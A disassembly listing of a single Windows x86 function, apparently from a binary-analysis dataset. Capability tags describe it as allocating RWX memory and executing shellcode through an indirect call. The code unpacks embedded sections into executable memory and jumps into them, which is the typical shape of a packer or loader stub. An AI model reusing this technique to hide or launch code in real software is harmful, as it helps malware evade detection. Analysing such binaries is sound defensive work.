Function at 0x4023f0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Query environment variable
Set environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
push ebx
push esi
push edi
lea ecx, [ebp - 0x54]
call fcn.004033af
lea ecx, [ebp - 0x84]
call fcn.004033af
lea ecx, [ebp - 0x6c]
call fcn.004033af
lea eax, [ebp - 0x3c]
push 0x1c
push eax
push 0x404420
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
lea eax, [ebp - 0x28]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push eax
push 4
push dword [ebp - 0x30]
push dword [ebp - 0x3c]
call ebx
mov esi, 0x104
xor edi, edi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x1000
push edi
mov dword [0x404420], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [0x404424], eax
lea eax, [ebp - 0x20]
push edi
mov dword [0x40442c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add eax, 0x6000
mov dword [0x404428], eax
add dword [eax + 0x10], eax
mov eax, dword [0x404428]
mov dword [0x404430], edi
mov ecx, dword [eax + 0x10]
cmp dword [ecx + 0xc], edi
je 0x4024a7
lea ecx, [ebp - 0x54]
mov dword [0x404430], ecx
mov eax, dword [eax + 0x10]
cmp dword [eax + 0x18], edi
je 0x4024b7
lea eax, [ebp - 0x6c]
mov dword [0x404438], eax
lea eax, [ebp - 0x84]
mov dword [0x404434], eax
call fcn.004027f8
push eax
mov word [0x40443c], ax
call fcn.0040292a
test eax, eax
pop ecx
jne 0x4024df
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x401150
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x404440], eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
push dword [ebp - 0x30]
push dword [ebp - 0x3c]
call ebx
push 0x1000
mov ebx, 0x401148
push dword [0x404424]
push ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push esi
push dword [0x404420]
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push dword [0x404420]
mov eax, dword [0x404424]
push eax
push 0x401140
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push dword [0x404424]
push ebx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
push dword [0x404420]
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
push 0x4010c8
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
push 0x4029fe
push 0x4029d8
call fcn.00403fca
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, 0x401240
push ebx
call esi
mov dword [ebp - 0x14], eax
mov eax, dword [0x404428]
cmp dword [eax + 0x14], edi
je 0x4025a1
call fcn.00402773
test eax, eax
je 0x40274f
cmp dword [ebp - 0x14], edi
jne 0x4025fa
push edi
push 0x2b
push dword [0x404424]
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov eax, dword [0x404424]
push ebx
push eax
push 0x401124
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push dword [0x404424]
call esi
cmp eax, edi
mov dword [ebp - 0x14], eax
jne 0x4025fa
push 0x10
push 0x401260
push 0x401280
push edi
call dword [sym.imp.USER32.dll_MessageBoxA]
mov esi, dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0xffffffffffffffff
call esi
jmp 0x402600
mov esi, dword [sym.imp.KERNEL32.dll_ExitProcess]
push dword [ebp - 0x14]
lea ecx, [ebp - 0x54]
push 0x401118
call fcn.004034c6
cmp eax, edi
mov dword [ebp - 8], eax
jne 0x40261b
push 0xffffffffffffffff
call esi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
call fcn.00403887
push dword [ebp - 0x14]
call fcn.00403cbf
add esp, 0x10
test eax, eax
jne 0x40263e
push 0xffffffffffffffff
call esi
mov eax, dword [0x404428]
push 0x40
push 0x3000
mov ebx, dword [eax + 0xc]
add ebx, 0xfff
shr ebx, 0xc
shl ebx, 0xc
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp dword [0x404430], edi
mov dword [ebp - 4], eax
je 0x4026bb
mov eax, dword [0x404428]
mov ecx, dword [eax + 0x10]
push dword [ecx + 0x10]
mov ecx, dword [ecx + 0xc]
add ecx, eax
push ecx
push ebx
push dword [ebp - 4]
call fcn.00402a7a
mov eax, dword [0x404428]
lea ecx, [ebp - 0x54]
mov eax, dword [eax + 0x10]
push dword [eax + 0x14]
push dword [ebp - 4]
call fcn.004033e0
test eax, eax
jne 0x4026bb
push 0x10
push 0x40110c
push 0x4010fc
push edi
call dword [sym.imp.USER32.dll_MessageBoxA]
or edi, 0xffffffff
jmp 0x40274f
cmp dword [0x404438], edi
je 0x402705
mov eax, dword [0x404428]
mov ecx, dword [eax + 0x10]
push dword [ecx + 0x1c]
mov ecx, dword [ecx + 0x18]
add ecx, eax
push ecx
push ebx
push dword [ebp - 4]
call fcn.00402a7a
mov eax, dword [0x404428]
lea ecx, [ebp - 0x6c]
mov eax, dword [eax + 0x10]
push dword [eax + 0x20]
push dword [ebp - 4]
call fcn.004033e0
test eax, eax
jne 0x402705
push 0x10
push 0x40110c
push 0x4010ec
jmp 0x4026ac
mov eax, dword [0x404428]
mov ecx, dword [eax + 0x10]
push dword [ecx + 4]
mov ecx, dword [ecx]
add ecx, eax
push ecx
push ebx
push dword [ebp - 4]
call fcn.00402a7a
mov eax, dword [0x40442c]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
mov eax, dword [0x404428]
mov ecx, dword [0x40442c]
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 8]
mov dword [ecx + 8], eax
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call dword [ebp - 8]
add esp, 8
push edi
call esi
lea ecx, [ebp - 0x6c]
call fcn.004033bc
lea ecx, [ebp - 0x84]
call fcn.004033bc
lea ecx, [ebp - 0x54]
call fcn.004033bc
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x10